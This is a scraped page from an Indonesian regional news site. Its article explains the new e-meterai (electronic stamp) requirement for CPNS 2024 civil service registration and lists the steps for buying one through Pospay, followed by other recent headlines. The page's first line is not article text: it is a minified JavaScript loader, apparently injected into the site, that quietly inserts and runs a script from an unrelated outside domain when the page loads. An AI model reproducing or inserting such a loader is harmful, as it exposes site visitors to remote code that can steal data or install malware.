(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Ini Cara Beli dan Pakai E-Meterai untuk Pendaftaran CPNS 2024


KANALKALIMANTAN.COM – Pendaftaran Calon Pegawai Negeri Sipil (CPNS) 2024 momen sangat dinantikan oleh masyarakat Indonesia. Pemerintah kembali membuka pendaftaran CPNS untuk berbagai posisi di kementerian, lembaga, dan pemerintah daerah.

Pendaftaran CPNS dan Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) sudah resmi dimulai pada 20 Agustus 2024 dan akan berlangsung hingga 6 September 2024.

Tidak hanya lulusan diploma dan sarjana yang bisa mendaftar CPNS 2024, tetapi juga lulusan SMA memiliki kesempatan untuk ikut dalam beberapa formasi yang tersedia. Ada 600.000 formasi yang tersedia untuk CPNS dan PPPK.

Baca juga: Saksikan Dewa 19, Mahalini, Lesti Kejora, JKT48, hingga Tipe-X dalam Selebrasi Spektakuler RCTI 35

E-Meterai Syarat Wajib Pendaftaran Seleksi CASN 2024

Berbeda dengan tahun-tahun sebelumnya, pelamar masih menggunakan meterai fisik atau meterai tempel. Pada seleksi CASN 2024 memperkenalkan perubahan dengan mewajibkan penggunaan meterai elektronik atau e-meterai.

E-meterai adalah inovasi digital yang berfungsi sebagai pengganti meterai fisik. Fungsinya tetap sama, yaitu untuk memberikan keabsahan hukum pada dokumen yang diperlukan dalam proses pendaftaran.

Namun, tidak seperti meterai fisik yang berbentuk stiker dan ditempelkan secara manual pada dokumen, e-meterai hadir dalam bentuk digital dan dapat langsung ditempelkan pada dokumen elektronik melalui platform online, nilai meterainya pun sama dengan versi fisik, yakni Rp 10.000. Penggunaan e-meterai ini tidak hanya memudahkan proses pendaftaran, tetapi juga memberikan tingkat keamanan yang lebih tinggi serta mengurangi risiko pemalsuan dokumen.

Baca juga: Stakeholders Engagement PLN ULP Banjarbaru ke Pj Sekda Banjarbaru

Cara Membeli E-Meterai di Pospay

Berikut adalah langkah-langkah untuk membeli e-meterai di Pospay:

1. Pada halaman utama, pilih ikon Meterai.

2. Pilih menu “Beli E-Meterai.”

3. Klik “Isi Ulang” dan masukkan jumlah e-meterai yang ingin dibeli.

4. Lanjutkan ke proses pembayaran.

5. Periksa rincian pembayaran, kemudian klik “Lanjutkan.”

6. Status riwayat pembelian akan berubah dari “Unpaid” menjadi “Paid.”. (Kanalkalimantan.com /Beritasatu.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

13 menit ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

3 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

9 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

10 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

12 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

12 jam ago

This website uses cookies.